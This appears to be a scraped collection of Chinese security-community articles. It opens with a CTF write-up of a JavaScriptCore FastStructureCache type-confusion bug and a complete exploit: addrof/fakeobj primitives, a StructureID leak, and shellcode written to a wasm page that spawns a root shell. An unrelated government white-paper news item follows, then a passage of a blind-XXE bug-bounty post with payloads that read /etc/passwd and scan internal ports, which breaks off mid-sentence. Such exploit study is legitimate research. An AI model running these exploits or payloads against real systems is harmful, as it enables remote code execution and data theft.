的创建过程，具体的细节我还不是十分的清楚，只能记录一些自己觉得比较重要的点。
找一下`RegExpObject::createStructure` 和`RegExpPrototype::createStructure`
的调用点，发现他们只在[Source/JavaScriptCore/runtime/JSGlobalObject.cpp#L709](https://github.com/WebKit/webkit/blob/5ed80f740ac7b67ca9ddc43aae401bacc685c5e4/Source/JavaScriptCore/runtime/JSGlobalObject.cpp#L709)
调用过
% grep -iR 'RegExpObject::create' *
JSGlobalObject.cpp: m_regExpStructure.set(vm, this, RegExpObject::createStructure(vm, this, m_regExpPrototype.get()));
RegExpConstructor.cpp: return RegExpObject::create(vm, structure, regExp);
RegExpConstructor.cpp: return RegExpObject::create(vm, structure, regExp);
% grep -iR 'RegExpPrototype::create' *
JSGlobalObject.cpp: m_regExpPrototype.set(vm, this, RegExpPrototype::create(vm, this, RegExpPrototype::createStructure(vm, this, m_objectPrototype.get())));
%
在`JSGlobalObject::init` 初始化的时候，首先是调用`RegExpPrototype::createStructure`
这个时候`FastStructureCache` 完成初始化, 并返回`fastCacheStructure[0]`, 保存在
`m_regExpPrototype`。 接着调用`RegExpObject::createStructure`,
执行完会返回`fastCacheStructure[1]`保存在 `m_regExpStructure`, 传入的`prototype`
参数是前面创建的`m_regExpPrototype`, create 完成之后， 并不会给它的`prototype`
设置`setPerCellBit(true)`, 虽然它已经是`RegExpObject` 的`prototype` 。
void JSGlobalObject::init(VM& vm){
m_objectPrototype.get()->didBecomePrototype();
//.....
m_regExpPrototype.set(vm, this, RegExpPrototype::create(vm, this, RegExpPrototype::createStructure(vm, this, m_objectPrototype.get())));
m_regExpStructure.set(vm, this, RegExpObject::createStructure(vm, this, m_regExpPrototype.get()));
m_regExpMatchesArrayStructure.set(vm, this, createRegExpMatchesArrayStructure(vm, this));
}
我们具体调试看看, 在`FastStructureCache::createStructureFastPath` 下个断点，跟一下内存
b FastStructureCache::createStructureFastPath
找到 `FastCacheStructure` 保存的地方，它是在 heap 内存上, 创建了 16 个 `Structure` 对象
pwndbg> vmmap 0x5555555a6960
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555594000 0x5555555b5000 rw-p 21000 0 [heap]
pwndbg> x/20gx 0x5555555a6960
0x5555555a6960: 0x00007fffb26f2060 0x00007fffb26f20d0
0x5555555a6970: 0x00007fffb26f2140 0x00007fffb26f21b0
0x5555555a6980: 0x00007fffb26f2220 0x00007fffb26f2290
0x5555555a6990: 0x00007fffb26f2300 0x00007fffb26f2370
0x5555555a69a0: 0x00007fffb26f23e0 0x00007fffb26f2450
0x5555555a69b0: 0x00007fffb26f24c0 0x00007fffb26f2530
0x5555555a69c0: 0x00007fffb26f25a0 0x00007fffb26f2610
0x5555555a69d0: 0x00007fffb26f2680 0x00007fffb26f26f0
0x5555555a69e0: 0x0000000000000000 0x000000000000e621
0x5555555a69f0: 0x0000000000000000 0x0000000000000000
第一次调用`RegExpPrototype::createStructure` , 会拿到第一个`Structure`,
也就是`0x00007fffb26f2060` 这个地址,
每个变量对应的位置可以看看`Source/JavaScriptCore/runtime/Structure.h`
pwndbg> x/20gx 0x00007fffb26f2060
0x7fffb26f2060: 0x0100000000002e74 0x0100170000007a64
//m_globalObject
0x7fffb26f2070: 0x0000001c00000000 0x00007fffb26e0000
//m_prototype
0x7fffb26f2080: 0x00007fffb26d8000 0x0000000000000000
0x7fffb26f2090: 0x0000000000000000 0x0000000000000000
// m_classInfo
0x7fffb26f20a0: 0x00007ffff7d95b80 0x0000000000000001
0x7fffb26f20b0: 0x00007fffb26cc060 0x0000000000000003
0x7fffb26f20c0: 0x243e606800000074 0x0000000000000000
0x7fffb26f20d0: 0x0100000000002e74 0x0100170000007baa
创建的时候传递给`RegExpPrototype` 的`prototype` 是`m_objectPrototype`,
它默认是设置了`TypeInfoPerCellBit` 的
pwndbg> x/20gx 0x00007fffb26d8000
0x7fffb26d8000: 0x01801700000068d5 0x00007fe00dcf4088
0x7fffb26d8010: 0x0188240100007056 0x00007fe00dcec208
然后是`RegExpObject::createStructure` ， 它会拿到第二个`Structure`
pwndbg> x/20gx 0x00007fffb26f20d0
0x7fffb26f20d0: 0x0100000000002e74 0x0100170000007baa
//m_globalObject
0x7fffb26f20e0: 0x0000002000000000 0x00007fffb26e0000
//m_prototype
0x7fffb26f20f0: 0x00007fffb26d8020 0x0000000000000000
0x7fffb26f2100: 0x0000000000000000 0x0000000000000000
//m_classInfo
0x7fffb26f2110: 0x00007ffff7d95b80 0x0000000000000001
0x7fffb26f2120: 0x0000000000000000 0x0000000000000003
0x7fffb26f2130: 0x00000000ffffffff 0x0000000000000000
0x7fffb26f2140: 0x0100000000002e74 0x0100170000007c6e
0x7fffb26f2150: 0x0000002000000000 0x00007fffb26e0000
看一下它的`prototype` 地址`0x00007fffb26d8020` ， 和我们分析的一样，它并没有设置`TypeInfoPerCellBit`
pwndbg> x/20gx 0x00007fffb26d8020
0x7fffb26d8020: 0x0100170000007a64 0x00007fe00dcf0208
0x7fffb26d8030: 0x0180170000008b3f 0x00007fe00dcfc5e8
后续创建`RegExp` 对象的时候都是使用一开始创建的这个`Structure`(`0x7fffb26f20d0`),
也就是`FastCacheStructure[1]`, 其他的貌似不会用到，我也木有找到可以重新调用`createStructure`
的点，但是当前得到的信息已经足够了，我们继续看看怎么样利用
>>> a=new RegExp()
/(?:)/
>>> describe(a)
Object: 0x7fffb26e8100 with butterfly (nil) (Structure 0x7fffb26f20d0:[Object, {}, NonArray, Proto:0x7fffb26d8020, Leaf]), StructureID: 53331
## 漏洞利用
18年的时候`lokihardt` 提交了一个[`Proxy` 对象相关的洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=1649)，里面提到的一个漏洞利用的思路可以用到这道题目上面来。
jsc 的native对象不允许在`prototype` 上设置`Proxy` ， 例如有一个对象`a= [1.1,2.2]`,
然后执行`a.__proto__=new Proxy({},{})`, 这时候会调用`JSObject::setPrototypeDirect` 函数
void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
{
ASSERT(prototype);
// prototype == new Proxy({},{})
if (prototype.isObject())
prototype.asCell()->didBecomePrototype();
if (structure(vm)->hasMonoProto()) {
DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
setStructure(vm, newStructure);
} else
putDirect(vm, knownPolyProtoOffset, prototype);
if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
return;
if (mayBePrototype()) {
structure(vm)->globalObject()->haveABadTime(vm);
return;
}
if (!hasIndexedProperties(indexingType()))
return;
if (shouldUseSlowPut(indexingType()))
return;
switchToSlowPutArrayStorage(vm);
}
`Proxy` 对象会设置`TypeInfoPerCellBit`, 接着后面`mayBePrototype()` 会判断当前`JSObject`
是不是一个`prototype` ， 例如`a.__proto__.__proto__ = new Proxy({}, {})`,
是的话会调用`haveABadTime()`,
具体实现在[`Source/JavaScriptCore/runtime/JSGlobalObject.cpp#L1574`](https://github.com/WebKit/webkit/blob/5ed80f740ac7b67ca9ddc43aae401bacc685c5e4/Source/JavaScriptCore/runtime/JSGlobalObject.cpp#L1574)
上, 它会找出对象的所有依赖，然后`switchToSlowPutArrayStorage`
都转换成`ArrayWithSlowPutArrayStorage` 类型
>>> a=[1.1,2.2]
1.1,2.2
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff84c8e4008 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010, Leaf]), StructureID: 22114
>>> a.__proto__=new Proxy({},{})
[object Object]
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff84c8f8348 (Structure 0x7fffb26b0850:[Array, {}, ArrayWithSlowPutArrayStorage, Proto:0x7ffff2ac7f68, Leaf]), StructureID: 10472
>>>
结合我们前面的分析`RegExpPrototype` 并没有设置`TypeInfoPerCellBit`, 这样我们就可以在native
对象的`prototype` 创建一个`Proxy` 对象而不会触发转换成`ArrayWithSlowPutArrayStorage` 类型，
在有漏洞和没有漏洞版本的 `jsc` 的测试结果如下
`无漏洞版本`
>>> a=[1.1,2.2]
1.1,2.2
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7fe0179e4008 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010, Leaf]), StructureID: 39579
>>> reg = new RegExp()
/(?:)/
>>> describe(reg)
Object: 0x7fffb26e8120 with butterfly (nil) (Structure 0x7fffb26f20d0:[RegExp, {}, NonArray, Proto:0x7fffb26d8020, Leaf]), StructureID: 41496
>>> a.__proto__=reg
/(?:)/
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7fe0179e4008 (Structure 0x7fffb26f3e20:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 59375
>>> reg.__proto__.__proto__ = new Proxy({},{})
[object Object]
// 有依赖关系的 a 会被转换成 ArrayWithSlowPutArrayStorage 类型
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7fe0179fbe88 (Structure 0x7fffb26a7e20:[Array, {}, ArrayWithSlowPutArrayStorage, Proto:0x7fffb26e8120, Leaf]), StructureID: 61156
>>>
`漏洞版本`
>>> a=[1.1,2.2]
1.1,2.2
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010, Leaf]), StructureID: 25564
>>> reg = new RegExp()
/(?:)/
>>> describe(reg)
Object: 0x7fffb26e8120 with butterfly (nil) (Structure 0x7fffb26f20d0:[Object, {}, NonArray, Proto:0x7fffb26d8020, Leaf]), StructureID: 27086
>>> a.__proto__=reg
/(?:)/
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26b05b0:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 46253
>>> reg.__proto__.__proto__ = new Proxy({},{})
[object Object]
// 并没有转换成 ArrayWithSlowPutArrayStorage
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26b05b0:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 46253
>>>
在 dfg 中，当调用`has` 函数， 也就是`0 in a` 这样的时候，会进入`case HasIndexedProperty`,
代码在[`Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3842`](https://github.com/WebKit/webkit/blob/5ed80f740ac7b67ca9ddc43aae401bacc685c5e4/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3842)
case HasIndexedProperty: {
ArrayMode mode = node->arrayMode();
switch (mode.type()) {
case Array::Int32:
case Array::Double:
case Array::Contiguous:
case Array::ArrayStorage: {
break;
}
default: {
clobberWorld();
break;
}
}
setNonCellTypeForNode(node, SpecBoolean);
break;
}
对于不是`Int32, Double, Contiguous, ArrayStorage`
的对象，如前面的`ArrayWithSlowPutArrayStorage` 类型，会有`clobberWorld`
来检查对象的转换，假如类似下面的代码，在`has` 函数里把`b[0]` 改成了一个对象，进入 dfg 之后因为之前的漏洞`a`
仍被认为是`ArrayWithDouble` 类型，不会调用`clobberWorld`, 然后 jsc 后面就会把 `b[0]` 当做一个double
类型来处理， 于是就有了地址泄露，同样的，我们也可以它来构造`fakeobj`
a= [1.1,2.2];
reg = new RegExp();
a.__proto__ = reg;
b = [1.1,2.2];
reg.__proto__.__proto__ = new Proxy({}, {
has() {
b[0] = {};
return true;
}
});
//... --> in dfg
delete a[0];
let tmp = 0 in a;
### addrof/fakeobj 构造
根据前面的分析，其实`addrof` 和 `fakeobj` 的构造思路已经有了，就是借助dfg 的时候的has函数形成一个类型混淆，
参考[官方writeup](https://zhuanlan.zhihu.com/p/96069221) 给出的 poc， 下面是我的实现
let arrays = [];
let regexp = new RegExp();
let leakme = [{}];
let jit_mode = 0;
var global_arr = [1.1, 2.2];
const MAX_ARRAYS = 100;
for (let i = 0; i < MAX_ARRAYS; i++) {
arrays.push([1.1, 2.2]);
}
for (let i = 0; i < MAX_ARRAYS; i++) {
arrays[i].__proto__ = regexp;
}
regexp.__proto__.__proto__ = new Proxy({}, {
has() {
if (jit_mode === 0) {
global_arr[0] = leakme[0];
}
else if (jit_mode === 1) {
global_arr[1] = {};
}
return true;
}
});
首先创建100 个`ArrayWithDouble` 类型的对象，其`prototype` 都设置成`regexp`, 然后是 `addrof` 的实现
function addrof(obj){
function leak_opt(arr, arr2) {
let tmp = 0 in arr2;
return [tmp, arr[0]];
}
jit_mode = 0;
global_arr=[1.1,2.2];
leakme[0]= obj;
let arr = arrays.pop();
for (let i = 0; i < 10000; i++) {
leak_opt(global_arr, arr);
}
delete arr[0];
return f2i(leak_opt(global_arr,arr)[1])
}
`leak_opt` 运行`10000` 次让它进入`dfg`, 传入前面创建的`ArrayWithDouble` 对象，`delete arr[0]` ，
然后执行`tmp = 0 in arr2;` 的时候就会遍历`arr` 的prototype，然后调用到`regexp` 的 `Proxy`
对象，`leakme[0] = obj` , obj 是要泄露地址的对象，进入dfg 之后会执行`global_arr[0] = leakme[0];` ,
因为没有检查类型转换，所以可以直接从`global_arr[0]` 中读取出对象的地址。
`fakeobj` 的实现也是类似
function fakeobj(addr){
function fake_opt(arr,arr2,fake_addr){
let tmp = 0 in arr2;
arr[1] = fakeme;
return tmp;
}
jit_mode = 1;
global_arr = [1.1,2.2];
let fakeme = i2f(addr);
let arr = arrays.pop();
for(let i=0;i<10000;i++){
fake_opt(global_arr,arr,fakeme);
}
delete arr[0];
fake_opt(global_arr,arr,fakeme);
return global_arr[1];
}
传入一个地址，然后让`fake_opt` 进入dfg, dfg 里`global_arr[1]` 会被认为是一个对象，改成传入的地址之后就可以伪造对象啦。
### StructureID randomize 绕过
`addrof` 和 `fakeobj` 构造完成之后，后续的利用基本上就都是套路了，网上找到很多利用代码，基本上就是伪造`ArrayWithDouble`
对象，然后改`butterfly` 到 任意地址读写。伪造`ArrayWithDouble` 对象需要一个可用的 `StructureID`,
之前的做法是喷一堆的`ArrayWithDouble` 对象，然后随机拿一个，刚好这个`id` 是可用的拿就完事了。
题目所用的webkit 版本加上了`StructureID`的[`7-bit
entropy`](https://github.com/WebKit/webkit/commit/a3099ac234f670a66b256ce39c94e9b3e31fc779)
, 简单来说就是 原先的`StructureID` 加上了 7个bit 的随机数，跟ASLR 类似，像前面运行的时候
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26b05b0:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 46253
>>>
`StructureID` 是一个很大的数`46253 == 0xb4ad` , 最后七个 bit 是随机生成的， 这样要找可用的
id就变得更加的困难，但是`1<< 7 == 128`, `1/128` 这个概率也不算很低，我们同样可以喷一堆的 `ArrayWithDouble`
对象，然后拿一个重复运行总会有命中的时候。
Blackhat EU 2019 上阿里的`[@ThomasKing2014](https://github.com/ThomasKing2014
"@ThomasKing2014")` 也讲了一个[利用内置函数泄露`StructureID`
的方法](https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf)
原理基本上就是并不是所有的内置函数都会用到 `StructureID`,
我们可以伪造这些函数用到的对象，控制它的执行流程。具体的实现如下，`Function.prototype.toString.call` 会打印出函数的源码，
伪造一个`Function`
对象，然后在获取函数名称的时候(`function->name(vm)`)会找`unlinked_function_executable.m_identifier`,
我们把它指向了`container+0x10` 也就是我们伪造的function object, 它会在`container.btfly`
上获取函数名对应的字符串， 把它指向一个`ArrayWithDouble` 对象我们就可以泄露出它的`StructureID` 啦
var arr_leak = new Array(1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8);
function leakid(){
var unlinked_function_executable = {
m_isBuitinFunction: i2f(0xdeadbeef),
pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
m_identifier: {},
};
var fake_function_executable = {
pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
m_executable: unlinked_function_executable,
};
var container = {
jscell: i2f(0x00001a0000000000),
btfly: {},
pad: 0,
m_functionExecutable: fake_function_executable,
};
var fake_addr = addrof(container)+0x10;
fake_o = fakeobj(fake_addr);
unlinked_function_executable.m_identifier = fake_o;
container.btfly = arr_leak;
var name_str = Function.prototype.toString.call(fake_o);
return name_str.charCodeAt(9);
}
### 任意地址读写 -> 写wasm getshell
有了可用的`StructureID` 之后，后面就是 搞任意地址读写，然后写 wasm 的 rwx 段getshell
。这一部分的利用代码基本上都差不多，这里不再赘述，具体参考后面完整的exp
## exp
var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)
var BASE32 = 0x100000000
function f2i(f) {
f64[0] = f
return i32[0] + BASE32 * i32[1]
}
function i2f(i) {
i32[0] = i % BASE32
i32[1] = i / BASE32
return f64[0]
}
function hex(addr){
return addr.toString(16);
}
let arrays = [];
let regexp = new RegExp();
let leakme = [{}];
let jit_mode = 0;
var global_arr = [1.1, 2.2];
const MAX_ARRAYS = 100;
for (let i = 0; i < MAX_ARRAYS; i++) {
arrays.push([1.1, 2.2]);
}
for (let i = 0; i < MAX_ARRAYS; i++) {
arrays[i].__proto__ = regexp;
}
regexp.__proto__.__proto__ = new Proxy({}, {
has() {
if (jit_mode === 0) {
global_arr[0] = leakme[0];
}
else if (jit_mode === 1) {
global_arr[1] = {};
}
return true;
}
});
function addrof(obj){
function leak_opt(arr, arr2) {
let tmp = 0 in arr2;
return [tmp, arr[0]];
}
jit_mode = 0;
global_arr=[1.1,2.2];
leakme[0]= obj;
let arr = arrays.pop();
for (let i = 0; i < 10000; i++) {
leak_opt(global_arr, arr);
}
delete arr[0];
return f2i(leak_opt(global_arr,arr)[1])
}
function fakeobj(addr){
function fake_opt(arr,arr2,fake_addr){
let tmp = 0 in arr2;
arr[1] = fakeme;
return tmp;
}
jit_mode = 1;
global_arr = [1.1,2.2];
let fakeme = i2f(addr);
let arr = arrays.pop();
for(let i=0;i<10000;i++){
fake_opt(global_arr,arr,fakeme);
}
delete arr[0];
fake_opt(global_arr,arr,fakeme);
return global_arr[1];
}
let a=[13.37,13.37];
a[0]={};
print(addrof(a).toString(16))
var arr_leak = new Array(1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8);
function leakid(){
var unlinked_function_executable = {
m_isBuitinFunction: i2f(0xdeadbeef),
pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
m_identifier: {},
};
var fake_function_executable = {
pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
m_executable: unlinked_function_executable,
};
var container = {
jscell: i2f(0x00001a0000000000),
btfly: {},
pad: 0,
m_functionExecutable: fake_function_executable,
};
var fake_addr = addrof(container)+0x10;
fake_o = fakeobj(fake_addr);
unlinked_function_executable.m_identifier = fake_o;
container.btfly = arr_leak;
var name_str = Function.prototype.toString.call(fake_o);
return name_str.charCodeAt(9);
}
var victim=[13.37];
victim[0]=13.37;
victim['prop']=13.37;
victim['prop1']=13.37;
var id = leakid();
i32[0]=id;
i32[1]=0x01082307 - 0x20000;
var container={
JSCell: f64[0],
butterfly: victim,
};
container_addr = addrof(container);
hax = fakeobj(container_addr+0x10)
print(describe(container))
var unboxed = [1.1];
unboxed[0]=3.3;
var boxed = [{}];
print('-----')
print(describe(unboxed))
print(describe(boxed))
print('-----')
hax[1] = i2f(addrof(unboxed));
var shared = victim[1];
hax[1] = i2f(addrof(boxed))
victim[1] = shared;
print(describe(unboxed))
print(describe(boxed))
var stage2={
addrof: function(obj){
boxed[0]=obj;
return f2i(unboxed[0])
},
fakeobj: function(addr){
unboxed[0]=i2f(addr)
return boxed[0]
},
read64:function(addr){
hax[1]=i2f(addr+0x10)
return this.addrof(victim.prop)
},
write64:function(addr,data){
hax[1]=i2f(addr+0x10)
victim.prop = this.fakeobj(data)
},
write: function(addr, shellcode) {
var theAddr = addr;
for(var i=0;i<shellcode.length;i++){
this.write64(addr+i,shellcode[i].charCodeAt())
}
},
pwn:function(){
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var addr_f = this.addrof(f);
var addr_p = this.read64(addr_f + 0x48);
var addr_shellcode = this.read64(addr_p);
print(hex(addr_f))
print(hex(addr_shellcode))
shellcode = "j;Xx99RHxbb//bin/shST_RWT^x0fx05"
this.write(addr_shellcode, shellcode);
f();
},
};
stage2.pwn()
### 运行效果
运行效果如下
# ./jsc --useConcurrentJIT=false ./exp.js
7fffb26d8810
Object: 0x7fffb26e81e0 with butterfly (nil) (Structure 0x7fffb26709a0:[Object, {JSCell:0, butterfly:1}, NonArray, Proto:0x7fffb26d8000, Leaf]), StructureID: 38722
----- Object: 0x7fffb261be40 with butterfly 0x7fe01c1e0f28 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010]), StructureID: 31151
Object: 0x7fffb261be50 with butterfly 0x7fe01c1e0f48 (Structure 0x7fffb26f1dc0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb26d8010]), StructureID: 31267
----- Object: 0x7fffb261be40 with butterfly 0x7fe01c1e0f28 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010]), StructureID: 31151
Object: 0x7fffb261be50 with butterfly 0x7fe01c1e0f28 (Structure 0x7fffb26f1dc0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb26d8010]), StructureID: 31267
7ffff2ad6bc8
7fffb2a05c00
# id
uid=0(root) gid=0(root) groups=0(root)
#
## 小结
jsc 层基本上就是把`lokihardt` 的`CVE-2018-4438` 复现了一遍，后半部分沙箱逃逸也是造了个洞，木有办法复现有点可惜
:(，具体可以参考[官方的writeup](https://zhuanlan.zhihu.com/p/96069221)
## reference
<https://zhuanlan.zhihu.com/p/96069221>
<https://github.com/vngkv123/aSiagaming/tree/master/Safari-JSC-FastStructureCache>
<https://github.com/5lipper/ctf/tree/master/rwctf19-final/FastStructureCache>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1649> | 社区文章 |
# 国务院新闻办公室发布《携手构建网络空间命运共同体》白皮书
##### 译文声明
本文是翻译文章，文章原作者 网信西安，文章来源：网信西安
原文地址：<https://mp.weixin.qq.com/s/LS6keD-bmqhO4aY_ZoIEJQ>
译文仅供参考，具体内容表达以及含义原文为准。
国务院新闻办公室7日发布《携手构建网络空间命运共同体》白皮书。白皮书介绍了新时代中国互联网发展和治理理念与实践，分享中国推动构建网络空间命运共同体的积极成果，展望网络空间国际合作前景。
白皮书指出，随着新一轮科技革命和产业变革加速推进，互联网让世界变成了“地球村”，国际社会越来越成为你中有我、我中有你的命运共同体。发展好、运用好、治理好互联网，让互联网更好造福人类，是国际社会的共同责任。
白皮书介绍，作为全球最大的发展中国家和网民数量最多的国家，中国顺应信息时代发展趋势，坚持以人民为中心的发展思想，秉持共商共建共享的全球治理观，推动构建网络空间命运共同体。
白皮书说，中国立足新发展阶段、贯彻新发展理念、构建新发展格局，建设网络强国、数字中国，在激发数字经济活力、推进数字生态建设、营造清朗网络空间、防范网络安全风险等方面不断取得新的成效，为高质量发展提供了有力服务、支撑和保障，为构建网络空间命运共同体提供了坚实基础。
白皮书说，中国不断深化网络空间国际交流合作，拓展数字经济合作，共同维护网络空间安全，积极参与全球互联网治理体系改革和建设，促进互联网普惠包容发展，与国际社会携手推动构建网络空间命运共同体。
白皮书指出，互联网是人类的共同家园，让这个家园更繁荣、更干净、更安全，是国际社会的共同责任。中国愿同世界各国一道，共同构建更加公平合理、开放包容、安全稳定、富有生机活力的网络空间，携手构建网络空间命运共同体，开创人类更加美好的未来。 | 社区文章 |
# 从 blind XXE 到读取根目录文件
在一次最近的 `bug
bounty`活动中，我找到了一个端点（应用服务）了`HTTP`响应的数据为`XML`结构，我认为这里存在一个`XXE`漏洞。但是关于这个端点（应用服务）是没有文档说明的，唯一能够找到的介绍是一篇2016年一位心烦意乱的开发人员写的。
接下来，我大致描述一下我将一个中等难度漏洞提升成高危漏洞的过程和思路。
我认为在测试的过程中遇到的错误信息是很重要的，我也会对这些错误信息进行强调，希望这些错误信息能够在未来为其他人指明正确的方向。
注意：我已经对端点和其他信息进行了隐藏，因为漏洞是作为私有披露计划的一部分报告的，受影响的公司不希望发布任何关于其环境或发现的信息。
## 我发现了什么
为什么这个端点能够引起我的注意，是因为这个端点响应的是一个简单的`XML`结构的错误信息和404。
请求：
GET /interesting/ HTTP/1.1
Host: server.company.com
响应
HTTP/1.1 404 Not Found
Server: nginx
Date: Tue, 04 Dec 2018 10:08:18 GMT
Content-Type: text/xml
Content-Length: 189
Connection: keep-alive
<result>
<errors>
<error>The request is invalid: The requested resource could not be found.</error>
</errors>
</result>
我改变请求的方法为`POST`时，在`header`头部添加 `Content-Type:
application/xml`并在`POST`数据中添加了一个不合法的`XML`数据，响应更加说明这里有`XXE`漏洞了。
请求：
POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30
<xml version="abc" ?>
<Doc/>
响应：
<result>
<errors>
<error>The request is invalid: The request content was malformed:
XML version "abc" is not supported, only XML 1.0 is supported.</error>
</errors>
</result>
但是当我发送一个正确的结构化的`XML`文档时：
请求：
POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30
<?xml version="1.0" ?>
<Doc/>
响应：
<result>
<errors>
<error>Authentication failed: The resource requires authentication, which was not supplied with the request</error>
</errors>
</result>
注意了，服务器明显需要凭证，在交互的过程中。遗憾的是，没有文档说明应该如何提供凭证，我也无法在任何地方找到可能有效的凭证。这可能是个坏消息，因为我以前遇到的许多XXE漏洞需要与端点进行某种“有效”交互。如果没有身份验证，利用这个漏洞可能会变得困难得多。
但是现在还没有必要担心!在任何情况下，您都应该尝试包含`DOCTYPE`定义的字串，以查看是否完全禁止使用外部实体，或者是否可以继续追求乐趣和回报。所以我试着发送了如下请求包:
请求
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://59c99fu65h6mqfmhf5agv1aptgz6nv.burpcollaborator.net/x"> %ext;
]>
<r></r>
响应：
The server was not able to produce a timely response to your request.
我看了下我的`Burp Collaborator`交互界面，没有期望的`HTTP`请求，只有如下部分。
幸运的是！服务器明显解析了我的域名，但是没有`HTTP`请求。此外，注意到了服务器在几秒之后出现500错误。
看起来像防火墙起作用了。我继续尝试进行针对不同端口的出站`HTTP`请求。但是没有可以达到效果的。所有端口都超时了，显示受影响的服务器至少可以依赖防火墙成功地阻止所有非预期的出站流量。给网络安全团队5分!
## 只能做 blind xxe
在这一点上，我有一个有趣的发现，但还没有什么真正值得说明的。通过尝试访问本地文件、内部网络和内部服务，我希望能够从中获得一份中危的报告。
为了证明影响，我展示了此漏洞可以用来成功确定文件是否存在:
请求：
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "file:///etc/passwd"> %ext;
]>
<r></r>
响应
The markup declarations contained or pointed to by the document type declaration must be well-formed.
这表明文件存在，XML解析器可以打开和读取文件，但是文件的内容不是有效的文档类型定义(DTD)，因此解析器失败并抛出错误。换句话说，外部实体的加载并没有被禁用，但是我们似乎没有得到任何输出。在这个阶段，这似乎是一个blind
XXE漏洞。
假设使用的是`Java`的`SAX
Parser`解析器，因为报错似乎和`Java`错误类[有联系](https://github.com/walkmod/walkmod-core/issues/82 "有联系") `org.xml.sax.SAXParseExceptionpublicId`
这很有趣，因为Java在涉及XXE时有许多特性，我们稍后将指出这一点。
当我们访问的文件不存在时，响应是这样的：
请求
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "file:///etc/passwdxxx"> %ext;
]>
<r></r>
响应：
The request is invalid: The request content was malformed:
/etc/passwdxxx (No such file or directory)
好的，有用但不太好; 如何使用这个`blind XXE`漏洞作为基本端口扫描器？
请求：
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://localhost:22/"> %ext;
]>
<r></r>
响应
The request is invalid: The request content was malformed:
Invalid Http response
很好——这意味着我们可以列举内部服务。这仍然不是我想要的很酷的结果，但至少是一些值得报道的东西。这种类型的`blind
XXE`有效地表现为与`blind`服务器端请求伪造(`SSRF`)漏洞类似的行为:您可以启动内部`HTTP`请求，但不能读取响应。
这让我怀疑是否可以应用任何其他与`ssrf`相关的技术，以便更好地利用这个`blind
XXE`漏洞。需要检查的一件事是对其他协议的支持，包括`https`、`gopher`、`ftp`、`jar`、`scp`等。
请求:
<?xml version="1.0" ?>
<!DOCTYPE root [ <!ENTITY % ext SYSTEM "gopher://localhost/"> %ext; ]>
<r></r>
响应：
The request is invalid: The request content was malformed:
unknown protocol: gopher
这很有趣，因为它将用户提供的协议在错误消息中返回回来。我们把它记下来，以后再用。
漏洞与`blind
